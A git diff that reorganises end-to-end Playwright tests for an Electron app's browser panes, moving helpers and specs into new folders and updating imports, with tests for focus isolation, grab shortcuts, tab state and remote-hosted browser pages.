string): ReturnType { diff --git a/tests/e2e/helpers/browser-agent-composition-scenario.ts b/tests/e2e/browser/input-navigation/browser-agent-composition-scenario.ts similarity index 94% rename from tests/e2e/helpers/browser-agent-composition-scenario.ts rename to tests/e2e/browser/input-navigation/browser-agent-composition-scenario.ts index 572c71ba772..9bb125907af 100644 --- a/tests/e2e/helpers/browser-agent-composition-scenario.ts +++ b/tests/e2e/browser/input-navigation/browser-agent-composition-scenario.ts @@ -1,14 +1,15 @@ // Refuse agent presses during terminal IME composition: blur would commit unfinished text to the shell (#28700). import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { evalInPage, openBackgroundProbeTab, rpc, startProbeServer } from './browser-agent-focus-scenarios' -import { getTerminalContent } from './terminal-pane-identity' +import { getTerminalContent } from '../../terminal/layout/terminal-pane-identity' async function readCompositionLog(page: Page): Promise { return page.evaluate(() => { diff --git a/tests/e2e/helpers/browser-agent-focus-scenarios.ts b/tests/e2e/browser/input-navigation/browser-agent-focus-scenarios.ts similarity index 88% rename from tests/e2e/helpers/browser-agent-focus-scenarios.ts rename to tests/e2e/browser/input-navigation/browser-agent-focus-scenarios.ts index c9df0e14f38..e15a3edf5ec 100644 --- a/tests/e2e/helpers/browser-agent-focus-scenarios.ts +++ b/tests/e2e/browser/input-navigation/browser-agent-focus-scenarios.ts @@ -2,13 +2,15 @@ import { createServer, type Server } from 'node:http' import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' +import { focusTerminalAndWatchHost, readHost } from './browser-host-focus-probe' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { ensureTerminalVisible, getActiveTabId, getActiveWorktreeId, waitForActiveWorktree -} from './store' +} from '../../desktop/renderer-probes/store' /** Runs after a scenario's agent input, with the probe page still open. */ export type AfterAgentInput = (pageId: string) => Promise @@ -122,43 +124,6 @@ export async function evalInPage(page: Page, pageId: string, expression: string) return readProperty(await rpc(page, 'browser.eval', { page: pageId, expression }), 'result') } -/** Focuses the terminal and records every host keydown and focus move from here on. */ -async function focusTerminalAndWatchHost(page: Page): Promise { - await page.evaluate(() => { - const textarea = document.querySelector('.xterm-helper-textarea') - if (!textarea) { - throw new Error('No terminal input to focus') - } - textarea.focus() - // Why: kept on the document so the read side needs no untyped window property. - const log: string[] = [] - const record = (entry: string): void => { - log.push(entry) - document.documentElement.dataset.agentFocusProbeLog = JSON.stringify(log) - } - document.documentElement.dataset.agentFocusProbeLog = '[]' - window.addEventListener('keydown', (event) => record(`key:${event.key}`), true) - window.addEventListener('focusin', (event) => { - const target = event.target - record(`focus:${target instanceof Element ? target.tagName : 'window'}`) - }) - }) -} - -export async function readHost(page: Page): Promise<{ log: string[]; terminalFocused: boolean }> { - return page.evaluate(() => ({ - log: ((): string[] => { - const parsed: unknown = JSON.parse( - document.documentElement.dataset.agentFocusProbeLog ?? '[]' - ) - return Array.isArray(parsed) - ? parsed.filter((entry): entry is string => typeof entry === 'string') - : [] - })(), - terminalFocused: document.activeElement?.classList.contains('xterm-helper-textarea') === true - })) -} - /** Opens the probe in a browser tab, then puts the terminal back in front of it. */ export async function openBackgroundProbeTab(page: Page, url: string): Promise { await waitForActiveWorktree(page) @@ -179,7 +144,9 @@ export async function openBackgroundProbeTab(page: Page, url: string): Promise 0 && 'clicks' + window.__clicks` - await expect.poll(() => evalInPage(page, pageId, readiness), { timeout: 20_000 }).toBe('clicks0') + await expect(async () => { + expect(await evalInPage(page, pageId, readiness)).toBe('clicks0') + }).toPass({ timeout: 20_000 }) await ensureTerminalVisible(page) await expect.poll(() => evalInPage(page, pageId, readiness)).toBe('clicks0') return pageId diff --git a/tests/e2e/browser-agent-input-focus-isolation.spec.ts b/tests/e2e/browser/input-navigation/browser-agent-input-focus-isolation.spec.ts similarity index 79% rename from tests/e2e/browser-agent-input-focus-isolation.spec.ts rename to tests/e2e/browser/input-navigation/browser-agent-input-focus-isolation.spec.ts index ecbc68f44b9..718817070a9 100644 --- a/tests/e2e/browser-agent-input-focus-isolation.spec.ts +++ b/tests/e2e/browser/input-navigation/browser-agent-input-focus-isolation.spec.ts @@ -3,20 +3,18 @@ * Runs hidden; browser-agent-input-focus-isolation-native.spec.ts repeats it in a visible window. */ -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { evalInPage, openBackgroundProbeTab, readProperty, rpc, - runAgentClicksScenario, - runAgentCrossSiteFrameScenario, - runAgentKeysScenario, - runAgentShortcutsScenario, startProbeServer -} from './helpers/browser-agent-focus-scenarios' -import { runAgentClickDuringUserCompositionScenario } from './helpers/browser-agent-composition-scenario' -import { getActiveTabId } from './helpers/store' +} from './browser-agent-focus-scenarios' +import './browser-agent-composition-scenario' + +import { getActiveTabId } from '../../desktop/renderer-probes/store' test('page-bound input stays out of chat drafts across hidden tabs and stale targets', async ({ orcaPage @@ -128,38 +126,3 @@ test('text insertion needs a focused page target and never crashes or wedges the await server.close() } }) - -test('agent keys and text reach the page without leaving the user’s terminal', async ({ - orcaPage -}) => { - test.setTimeout(120_000) - await runAgentKeysScenario(orcaPage) -}) - -test('agent clicks and presses reach the page without leaving the user’s terminal', async ({ - orcaPage -}) => { - test.setTimeout(120_000) - await runAgentClicksScenario(orcaPage) -}) - -test('agent shortcut keys stay in the page instead of running Orca shortcuts', async ({ - orcaPage -}) => { - test.setTimeout(120_000) - await runAgentShortcutsScenario(orcaPage) -}) - -test('agent keys and text reach a focused cross-site frame without moving the user’s focus', async ({ - orcaPage -}) => { - test.setTimeout(120_000) - await runAgentCrossSiteFrameScenario(orcaPage) -}) - -test('an agent click is refused while the user composes with an IME in the terminal', async ({ - orcaPage -}) => { - test.setTimeout(120_000) - await runAgentClickDuringUserCompositionScenario(orcaPage) -}) diff --git a/tests/e2e/browser-grab-top-layer.spec.ts b/tests/e2e/browser/input-navigation/browser-grab-top-layer.spec.ts similarity index 90% rename from tests/e2e/browser-grab-top-layer.spec.ts rename to tests/e2e/browser/input-navigation/browser-grab-top-layer.spec.ts index 79960be9aef..036ac83de6a 100644 --- a/tests/e2e/browser-grab-top-layer.spec.ts +++ b/tests/e2e/browser/input-navigation/browser-grab-top-layer.spec.ts @@ -1,9 +1,14 @@ // #28657: Grab must pick elements in the top layer (modal dialogs, popovers) opened after it arms. import { createServer, type Server } from 'node:http' -import { evalInPage, rpc } from './helpers/browser-agent-focus-scenarios' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, getActiveWorktreeId, waitForActiveWorktree } from './helpers/store' +import { evalInPage, rpc } from './browser-agent-focus-scenarios' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { + ensureTerminalVisible, + getActiveWorktreeId, + waitForActiveWorktree +} from '../../desktop/renderer-probes/store' const PAGE_HTML = ` @@ -61,11 +66,11 @@ test.describe('browser grab over top-layer content', () => { throw new Error('Failed to create the probe browser page') } pageId = created - await expect - .poll(() => evalInPage(orcaPage, pageId, 'document.readyState + window.__presses'), { - timeout: 20_000 - }) - .toBe('complete0') + await expect(async () => { + expect(await evalInPage(orcaPage, pageId, 'document.readyState + window.__presses')).toBe( + 'complete0' + ) + }).toPass({ timeout: 20_000 }) }) test.afterEach(async () => { diff --git a/tests/e2e/browser/input-navigation/browser-host-focus-probe.ts b/tests/e2e/browser/input-navigation/browser-host-focus-probe.ts new file mode 100644 index 00000000000..16e918485d3 --- /dev/null +++ b/tests/e2e/browser/input-navigation/browser-host-focus-probe.ts @@ -0,0 +1,38 @@ +import type { Page } from '@stablyai/playwright-test' + +/** Focuses the terminal and records every host keydown and focus move from here on. */ +export async function focusTerminalAndWatchHost(page: Page): Promise { + await page.evaluate(() => { + const textarea = document.querySelector('.xterm-helper-textarea') + if (!textarea) { + throw new Error('No terminal input to focus') + } + textarea.focus() + // Why: kept on the document so the read side needs no untyped window property. + const log: string[] = [] + const record = (entry: string): void => { + log.push(entry) + document.documentElement.dataset.agentFocusProbeLog = JSON.stringify(log) + } + document.documentElement.dataset.agentFocusProbeLog = '[]' + window.addEventListener('keydown', (event) => record(`key:${event.key}`), true) + window.addEventListener('focusin', (event) => { + const target = event.target + record(`focus:${target instanceof Element ? target.tagName : 'window'}`) + }) + }) +} + +export async function readHost(page: Page): Promise<{ log: string[]; terminalFocused: boolean }> { + return page.evaluate(() => ({ + log: ((): string[] => { + const parsed: unknown = JSON.parse( + document.documentElement.dataset.agentFocusProbeLog ?? '[]' + ) + return Array.isArray(parsed) + ? parsed.filter((entry): entry is string => typeof entry === 'string') + : [] + })(), + terminalFocused: document.activeElement?.classList.contains('xterm-helper-textarea') === true + })) +} diff --git a/tests/e2e/helpers/browser-link-server.ts b/tests/e2e/browser/input-navigation/browser-link-server.ts similarity index 100% rename from tests/e2e/helpers/browser-link-server.ts rename to tests/e2e/browser/input-navigation/browser-link-server.ts diff --git a/tests/e2e/helpers/browser-split-fixture.ts b/tests/e2e/browser/input-navigation/browser-split-fixture.ts similarity index 100% rename from tests/e2e/helpers/browser-split-fixture.ts rename to tests/e2e/browser/input-navigation/browser-split-fixture.ts diff --git a/tests/e2e/browser/input-navigation/browser-split-grab-shortcut.spec.ts b/tests/e2e/browser/input-navigation/browser-split-grab-shortcut.spec.ts new file mode 100644 index 00000000000..8faba146e00 --- /dev/null +++ b/tests/e2e/browser/input-navigation/browser-split-grab-shortcut.spec.ts @@ -0,0 +1,160 @@ +// STA-3319 / STA-8147: Cmd/Ctrl+C arms element grab only in the focused split, and never +// while text is selected elsewhere in the window (that press is a copy). + +import 'node:crypto' +import 'node:fs' +import 'node:os' +import 'node:path' +import type { ElectronApplication, Page } from '@stablyai/playwright-test' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import '../../terminal/input/terminal' + +import '../../terminal/lifecycle/terminal-pty-readiness' + +import { + browserOverlay, + createBrowserSplit, + guestModifier, + pressKeyInBrowserGuest, + type GuestModifier +} from './browser-split-fixture' +import { waitForGuestUrl } from './browser-split-guest-probes' +import { + startBrowserSplitPageServer, + type BrowserSplitPageServer +} from './browser-split-page-server' + +function grabBanner(page: Page, browserTabId: string) { + return browserOverlay(page, browserTabId).getByText(/Click or hover an element|Grab failed/) +} + +async function readGuestGrab(page: Page, browserTabId: string, expression: string) { + return page.evaluate( + async ({ tabId, script }) => { + const webview = document.querySelector( + `[data-browser-overlay-tab-id="${tabId}"] webview` + ) + return webview ? Boolean(await webview.executeJavaScript(script)) : false + }, + { tabId: browserTabId, script: expression } + ) +} + +// Hover like a user: the banner shows before the picker arms, which records hover a frame later. +async function hoverGuestGrabTarget(page: Page, browserTabId: string, x: number, y: number) { + await expect + .poll(() => readGuestGrab(page, browserTabId, 'Boolean(window.__orcaGrab?.onPick)')) + .toBe(true) + await page.evaluate( + async ({ tabId, x, y }) => { + const webview = document.querySelector( + `[data-browser-overlay-tab-id="${tabId}"] webview` + ) + await webview?.sendInputEvent({ type: 'mouseMove', x, y }) + }, + { tabId: browserTabId, x, y } + ) + await expect + .poll(() => + readGuestGrab(page, browserTabId, 'Boolean(window.__orcaGrab?.getCurrentElement())') + ) + .toBe(true) +} + +async function readClipboard(app: ElectronApplication): Promise { + return app.evaluate(({ clipboard }) => clipboard.readText()) +} + +async function writeClipboard(app: ElectronApplication, text: string): Promise { + await app.evaluate(({ clipboard }, value) => clipboard.writeText(value), text) +} + +/** Arms grab from the pane's toolbar: the presence check that makes a missing banner meaningful. */ + +/** Turns the terminal split into a native chat view over a seeded Claude transcript. */ + +test.describe('browser split grab shortcut', () => { + // Why: these tests share the system clipboard, so keep them on one worker. + test.describe.configure({ mode: 'default' }) + + let server: BrowserSplitPageServer + let savedClipboard: string | null = null + + test.beforeEach(async ({ electronApp, orcaPage }) => { + server = await startBrowserSplitPageServer() + // Why: the copy assertions read the real system clipboard; put the user's text back after. + savedClipboard = await readClipboard(electronApp) + await waitForSessionReady(orcaPage) + await waitForActiveWorktree(orcaPage) + await ensureTerminalVisible(orcaPage) + }) + + test.afterEach(async ({ electronApp }) => { + if (savedClipboard !== null) { + await writeClipboard(electronApp, savedClipboard) + } + await server.close() + }) + + test('escape typed in the page exits grab, the copy toast and find', async ({ orcaPage }) => { + const fixture = await createBrowserSplit(orcaPage, { + first: server.pageUrl('a', 1), + second: server.pageUrl('b', 1, 'localhost') + }) + await waitForGuestUrl(orcaPage, fixture.firstBrowserTabId, server.pageUrl('a', 1)) + const overlay = browserOverlay(orcaPage, fixture.firstBrowserTabId) + const pressInGuest = (keyCode: string, modifiers: GuestModifier[] = []): Promise => + pressKeyInBrowserGuest( + orcaPage, + fixture.firstBrowserTabId, + fixture.firstBrowserPageId, + keyCode, + modifiers + ) + + await pressInGuest('C', [guestModifier]) + await expect(grabBanner(orcaPage, fixture.firstBrowserTabId)).toBeVisible() + await pressInGuest('Escape') + await expect(grabBanner(orcaPage, fixture.firstBrowserTabId)).toBeHidden() + + // Why: a click-copy rearms the picker when its toast closes; outlasting the toast proves Escape ended it. + await pressInGuest('C', [guestModifier]) + await expect(grabBanner(orcaPage, fixture.firstBrowserTabId)).toBeVisible() + await hoverGuestGrabTarget(orcaPage, fixture.firstBrowserTabId, 60, 30) + await orcaPage.evaluate(async (browserTabId) => { + const webview = document.querySelector( + `[data-browser-overlay-tab-id="${browserTabId}"] webview` + ) + await webview?.sendInputEvent({ + type: 'mouseDown', + x: 60, + y: 30, + button: 'left', + clickCount: 1 + }) + await webview?.sendInputEvent({ + type: 'mouseUp', + x: 60, + y: 30, + button: 'left', + clickCount: 1 + }) + }, fixture.firstBrowserTabId) + await expect(overlay.getByText('Copied').first()).toBeVisible() + await pressInGuest('Escape') + await expect(overlay.getByText('Copied').first()).toBeHidden() + await expect(grabBanner(orcaPage, fixture.firstBrowserTabId)).toBeHidden() + + await pressInGuest('F', [guestModifier]) + const findInput = overlay.getByPlaceholder('Find in page...') + await expect(findInput).toBeVisible() + await pressInGuest('Escape') + await expect(findInput).toBeHidden() + }) +}) diff --git a/tests/e2e/helpers/browser-split-guest-probes.ts b/tests/e2e/browser/input-navigation/browser-split-guest-probes.ts similarity index 100% rename from tests/e2e/helpers/browser-split-guest-probes.ts rename to tests/e2e/browser/input-navigation/browser-split-guest-probes.ts diff --git a/tests/e2e/helpers/browser-split-page-server.ts b/tests/e2e/browser/input-navigation/browser-split-page-server.ts similarity index 100% rename from tests/e2e/helpers/browser-split-page-server.ts rename to tests/e2e/browser/input-navigation/browser-split-page-server.ts diff --git a/tests/e2e/browser/input-navigation/browser-tab.spec.ts b/tests/e2e/browser/input-navigation/browser-tab.spec.ts new file mode 100644 index 00000000000..b801164b990 --- /dev/null +++ b/tests/e2e/browser/input-navigation/browser-tab.spec.ts @@ -0,0 +1,205 @@ +// Cover browser-tab creation and state retention across tab switches. + +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { createServer, type Server } from 'node:http' +import type { AddressInfo } from 'node:net' +import { + waitForSessionReady, + waitForActiveWorktree, + getActiveWorktreeId, + ensureTerminalVisible +} from '../../desktop/renderer-probes/store' +import './browser-link-server' + +type CreatedBrowserTab = { + id: string + pageId: string | null +} + +async function createBrowserTab( + page: Parameters[0], + worktreeId: string, + url?: string, + title = 'New Browser Tab' +): Promise { + return page.evaluate( + ({ targetWorktreeId, targetUrl, targetTitle }) => { + const store = window.__store + if (!store) { + return null + } + + const state = store.getState() + const tab = state.createBrowserTab( + targetWorktreeId, + targetUrl ?? state.browserDefaultUrl ?? 'about:blank', + { + title: targetTitle, + activate: true + } + ) + return { id: tab.id, pageId: tab.activePageId ?? null } + }, + { targetWorktreeId: worktreeId, targetUrl: url, targetTitle: title } + ) +} + +async function switchToBrowserTab( + page: Parameters[0], + worktreeId: string, + browserTabId: string +): Promise { + await page.evaluate( + ({ targetWorktreeId, targetBrowserTabId }) => { + const store = window.__store + if (!store) { + return + } + + const state = store.getState() + if ( + (state.browserTabsByWorktree[targetWorktreeId] ?? []).some( + (tab) => tab.id === targetBrowserTabId + ) + ) { + state.setActiveBrowserTab(targetBrowserTabId) + } + }, + { targetWorktreeId: worktreeId, targetBrowserTabId: browserTabId } + ) +} + +async function startBrowserFormServer(host = '127.0.0.1'): Promise<{ + url: (label: string) => string + close: () => Promise +}> { + const server = createServer((request, response) => { + const label = new URL(request.url ?? '/', 'http://127.0.0.1').pathname.slice(1) + response.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }) + response.end(` + + + + + + + `) + }) + await new Promise((resolve) => server.listen(0, host, resolve)) + const port = (server.address() as AddressInfo).port + return { + url: (label: string) => `http://${host}:${port}/${encodeURIComponent(label)}`, + close: () => closeServer(server) + } +} + +async function closeServer(server: Server): Promise { + await new Promise((resolve, reject) => + server.close((error) => { + if (error) { + reject(error) + return + } + resolve() + }) + ) +} + +async function readBrowserInputValue( + page: Parameters[0], + browserTabId: string +): Promise { + return page.evaluate(async (targetBrowserTabId) => { + const slot = [...document.querySelectorAll('[data-browser-overlay-tab-id]')].find( + (candidate) => candidate.getAttribute('data-browser-overlay-tab-id') === targetBrowserTabId + ) + const webview = slot?.querySelector('webview') as Electron.WebviewTag | null + if (!webview) { + return null + } + try { + return await webview.executeJavaScript('document.querySelector("#q")?.value ?? null') + } catch { + return null + } + }, browserTabId) +} + +async function writeBrowserInputValue( + page: Parameters[0], + browserTabId: string, + value: string +): Promise { + await expect + .poll(async () => readBrowserInputValue(page, browserTabId), { timeout: 5_000 }) + .not.toBeNull() + + await page.evaluate( + async ({ targetBrowserTabId, nextValue }) => { + const slot = [...document.querySelectorAll('[data-browser-overlay-tab-id]')].find( + (candidate) => candidate.getAttribute('data-browser-overlay-tab-id') === targetBrowserTabId + ) + const webview = slot?.querySelector('webview') as Electron.WebviewTag | null + if (!webview) { + throw new Error(`Missing webview for browser tab ${targetBrowserTabId}`) + } + await webview.executeJavaScript( + `document.querySelector("#q").value = ${JSON.stringify(nextValue)}` + ) + }, + { targetBrowserTabId: browserTabId, nextValue: value } + ) + + await expect + .poll(async () => readBrowserInputValue(page, browserTabId), { timeout: 5_000 }) + .toBe(value) +} + +test.describe('Browser Tab', () => { + test.beforeEach(async ({ orcaPage }) => { + await waitForSessionReady(orcaPage) + await waitForActiveWorktree(orcaPage) + await ensureTerminalVisible(orcaPage) + }) + + test('browser webview form state survives switching between browser tabs', async ({ + orcaPage + }) => { + const formServer = await startBrowserFormServer() + try { + const worktreeId = (await getActiveWorktreeId(orcaPage))! + const firstTab = await createBrowserTab( + orcaPage, + worktreeId, + formServer.url('First search'), + 'First Form' + ) + expect(firstTab?.id).toBeTruthy() + await writeBrowserInputValue(orcaPage, firstTab!.id, 'first typed value') + + const secondTab = await createBrowserTab( + orcaPage, + worktreeId, + formServer.url('Second search'), + 'Second Form' + ) + expect(secondTab?.id).toBeTruthy() + await writeBrowserInputValue(orcaPage, secondTab!.id, 'second typed value') + + // Why: switching browser tabs used to unmount and reparent the inactive + // Electron webview, which recreated the guest document and erased form DOM. + await switchToBrowserTab(orcaPage, worktreeId, firstTab!.id) + await expect + .poll(async () => readBrowserInputValue(orcaPage, firstTab!.id), { timeout: 5_000 }) + .toBe('first typed value') + + await switchToBrowserTab(orcaPage, worktreeId, secondTab!.id) + await expect + .poll(async () => readBrowserInputValue(orcaPage, secondTab!.id), { timeout: 5_000 }) + .toBe('second typed value') + } finally { + await formServer.close() + } + }) +}) diff --git a/tests/e2e/helpers/paired-browser-placement-fixture.ts b/tests/e2e/browser/placement/paired-browser-placement-fixture.ts similarity index 96% rename from tests/e2e/helpers/paired-browser-placement-fixture.ts rename to tests/e2e/browser/placement/paired-browser-placement-fixture.ts index 3b9f77eb399..4312f706f0d 100644 --- a/tests/e2e/helpers/paired-browser-placement-fixture.ts +++ b/tests/e2e/browser/placement/paired-browser-placement-fixture.ts @@ -1,12 +1,16 @@ import { createServer, type Server } from 'node:http' import type { AddressInfo } from 'node:net' import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect } from './orca-app' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { launchHeadlessPairedRuntimeHost, type HeadlessPairedRuntimeHost -} from './headless-paired-runtime-host' -import { launchPairedElectronClient, type PairedElectronClient } from './paired-electron-client' +} from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' +import { + launchPairedElectronClient, + type PairedElectronClient +} from '../../remote/paired-runtime/client-hosts/paired-electron-client' export type PaneGroup = { activeTabId: string | null diff --git a/tests/e2e/headless-serve-browser-tab-restart.spec.ts b/tests/e2e/browser/remote-hosted/headless-serve-browser-tab-restart.spec.ts similarity index 92% rename from tests/e2e/headless-serve-browser-tab-restart.spec.ts rename to tests/e2e/browser/remote-hosted/headless-serve-browser-tab-restart.spec.ts index 53187086a97..4c613d31af0 100644 --- a/tests/e2e/headless-serve-browser-tab-restart.spec.ts +++ b/tests/e2e/browser/remote-hosted/headless-serve-browser-tab-restart.spec.ts @@ -1,14 +1,15 @@ // After serve restart, retain browser URLs and closed state but start pages only on demand. -import type { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' +import type { RuntimeClient } from '../../../../src/cli/runtime/client' +import type { RuntimeMobileSessionTabsResult } from '../../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' import { createServer, type Server } from 'node:http' -import { expect, test } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { addRepoWorktree, cliClient, pairedClient, startHeadlessOracleHost -} from './helpers/headless-layout-oracle-hosts' +} from '../../layout/workspace-oracle/headless-layout-oracle-hosts' /** A page server that counts loads per path: a page that has not started has loaded nothing. */ async function startPage(): Promise<{ url: string; server: Server; loads: Map }> { diff --git a/tests/e2e/helpers/materialized-remote-browser-pane.ts b/tests/e2e/browser/remote-hosted/materialized-remote-browser-pane.ts similarity index 89% rename from tests/e2e/helpers/materialized-remote-browser-pane.ts rename to tests/e2e/browser/remote-hosted/materialized-remote-browser-pane.ts index 8df1dedddb1..189c1904ac9 100644 --- a/tests/e2e/helpers/materialized-remote-browser-pane.ts +++ b/tests/e2e/browser/remote-hosted/materialized-remote-browser-pane.ts @@ -1,5 +1,6 @@ import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' export type MaterializedRemoteBrowserPane = { /** The client's local browser page id — the key its remote handle is stored under. */ @@ -39,15 +40,15 @@ export async function focusMaterializedRemoteBrowserPane( ): Promise { const located = await waitForMaterializedRemoteBrowserPane(page, target) await page.evaluate( - ({ tabId, worktreeId }) => { + ({ pageId, worktreeId }) => { const state = window.__store?.getState() if (!state) { throw new Error('client store unavailable') } state.setActiveWorktree(worktreeId) - state.focusBrowserTabInWorktree(worktreeId, tabId, { surfacePane: true }) + state.focusBrowserTabInWorktree(worktreeId, pageId, { surfacePane: true }) }, - { tabId: located.tabId, worktreeId: target.worktreeId } + { pageId: located.pageId, worktreeId: target.worktreeId } ) return located } diff --git a/tests/e2e/paired-remote-browser-blank-link.spec.ts b/tests/e2e/browser/remote-hosted/paired-remote-browser-blank-link.spec.ts similarity index 89% rename from tests/e2e/paired-remote-browser-blank-link.spec.ts rename to tests/e2e/browser/remote-hosted/paired-remote-browser-blank-link.spec.ts index 38b88af2bae..b071f785398 100644 --- a/tests/e2e/paired-remote-browser-blank-link.spec.ts +++ b/tests/e2e/browser/remote-hosted/paired-remote-browser-blank-link.spec.ts @@ -2,19 +2,20 @@ import { createServer, type Server } from 'node:http' import { launchHeadlessPairedRuntimeHost, type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' +} from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' import { focusMaterializedRemoteBrowserPane, waitForMaterializedRemoteBrowserPane -} from './helpers/materialized-remote-browser-pane' -import { expect, test } from './helpers/orca-app' +} from './materialized-remote-browser-pane' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { launchPairedElectronClient, type PairedElectronClient -} from './helpers/paired-electron-client' -import { waitForPairedClientWorktree } from './helpers/paired-client-host-session' -import { readHostBrowserPageIds } from './helpers/host-session-tabs' -import { orcaCliResult } from './helpers/compiled-orca-cli' +} from '../../remote/paired-runtime/client-hosts/paired-electron-client' +import { waitForPairedClientWorktree } from '../../remote/paired-runtime/client-hosts/paired-client-host-session' +import { readHostBrowserPageIds } from '../../terminal/remote-hosts/host-session-tabs' +import { orcaCliResult } from '../../desktop/cli-invocation/compiled-orca-cli' // #36804: a click on a target=_blank link in a streamed server page opens a new Orca tab. diff --git a/tests/e2e/paired-remote-browser-ghost-subscriber-rejoin.spec.ts b/tests/e2e/browser/remote-hosted/paired-remote-browser-ghost-subscriber-rejoin.spec.ts similarity index 97% rename from tests/e2e/paired-remote-browser-ghost-subscriber-rejoin.spec.ts rename to tests/e2e/browser/remote-hosted/paired-remote-browser-ghost-subscriber-rejoin.spec.ts index e37ba7a461e..8d586b92ceb 100644 --- a/tests/e2e/paired-remote-browser-ghost-subscriber-rejoin.spec.ts +++ b/tests/e2e/browser/remote-hosted/paired-remote-browser-ghost-subscriber-rejoin.spec.ts @@ -5,14 +5,15 @@ import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-t import { launchHeadlessPairedRuntimeHost, type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' -import { forceQuitElectronAppForE2E } from './helpers/electron-process-shutdown' -import { focusMaterializedRemoteBrowserPane } from './helpers/materialized-remote-browser-pane' -import { expect, test } from './helpers/orca-app' +} from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' +import { forceQuitElectronAppForE2E } from '../../desktop/electron-fixtures/electron-process-shutdown' +import { focusMaterializedRemoteBrowserPane } from './materialized-remote-browser-pane' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { launchPairedElectronClient, type PairedElectronClient -} from './helpers/paired-electron-client' +} from '../../remote/paired-runtime/client-hosts/paired-electron-client' // SIGKILL a server-screencast client, reopen its device identity, and require decoded live frames with one subscriber. // Guest innerWidth fingerprints viewport ownership; after clean replacement quit it must return to the unwatched width. diff --git a/tests/e2e/paired-remote-browser-in-page-address.spec.ts b/tests/e2e/browser/remote-hosted/paired-remote-browser-in-page-address.spec.ts similarity index 87% rename from tests/e2e/paired-remote-browser-in-page-address.spec.ts rename to tests/e2e/browser/remote-hosted/paired-remote-browser-in-page-address.spec.ts index b3ce28f9a9f..ce7b6bb6709 100644 --- a/tests/e2e/paired-remote-browser-in-page-address.spec.ts +++ b/tests/e2e/browser/remote-hosted/paired-remote-browser-in-page-address.spec.ts @@ -2,14 +2,15 @@ import { createServer, type Server } from 'node:http' import { launchHeadlessPairedRuntimeHost, type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' -import { focusMaterializedRemoteBrowserPane } from './helpers/materialized-remote-browser-pane' -import { expect, test } from './helpers/orca-app' +} from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' +import { focusMaterializedRemoteBrowserPane } from './materialized-remote-browser-pane' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { launchPairedElectronClient, type PairedElectronClient -} from './helpers/paired-electron-client' -import { waitForPairedClientWorktree } from './helpers/paired-client-host-session' +} from '../../remote/paired-runtime/client-hosts/paired-electron-client' +import { waitForPairedClientWorktree } from '../../remote/paired-runtime/client-hosts/paired-client-host-session' // STA-10228: a server page that changes its address in place updates the paired client's address bar. diff --git a/tests/e2e/helpers/ssh-remote-only-browser-fixture.ts b/tests/e2e/browser/remote-hosted/ssh-remote-only-browser-fixture.ts similarity index 95% rename from tests/e2e/helpers/ssh-remote-only-browser-fixture.ts rename to tests/e2e/browser/remote-hosted/ssh-remote-only-browser-fixture.ts index f33a5288c56..c819500a957 100644 --- a/tests/e2e/helpers/ssh-remote-only-browser-fixture.ts +++ b/tests/e2e/browser/remote-hosted/ssh-remote-only-browser-fixture.ts @@ -3,8 +3,8 @@ import { execDockerSshHostTargetControlCommand, writeDockerSshHostTargetFile, type DockerSshHostTarget -} from './docker-ssh-host-target' -import { quotePosixShell } from '../../../src/shared/shell/launch/shell-argument-quoting' +} from '../../remote/managed-ssh/host-lifecycle/docker-ssh-host-target' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' // Only the SSH container can resolve and reach this loopback origin; rendering its marker proves tunneled egress. export const SSH_REMOTE_ONLY_HOST = 'remote-only.internal' diff --git a/tests/e2e/browser-fedcm-fallback.spec.ts b/tests/e2e/browser/security/browser-fedcm-fallback.spec.ts similarity index 93% rename from tests/e2e/browser-fedcm-fallback.spec.ts rename to tests/e2e/browser/security/browser-fedcm-fallback.spec.ts index c782bfed5a6..ffc7fa1462e 100644 --- a/tests/e2e/browser-fedcm-fallback.spec.ts +++ b/tests/e2e/browser/security/browser-fedcm-fallback.spec.ts @@ -1,7 +1,8 @@ import { createServer, type Server } from 'node:http' import type { AddressInfo } from 'node:net' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, getActiveWorktreeId } from './helpers/store' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { ensureTerminalVisible, getActiveWorktreeId } from '../../desktop/renderer-probes/store' async function closeServer(server: Server): Promise { await new Promise((resolve, reject) => { @@ -94,9 +95,9 @@ 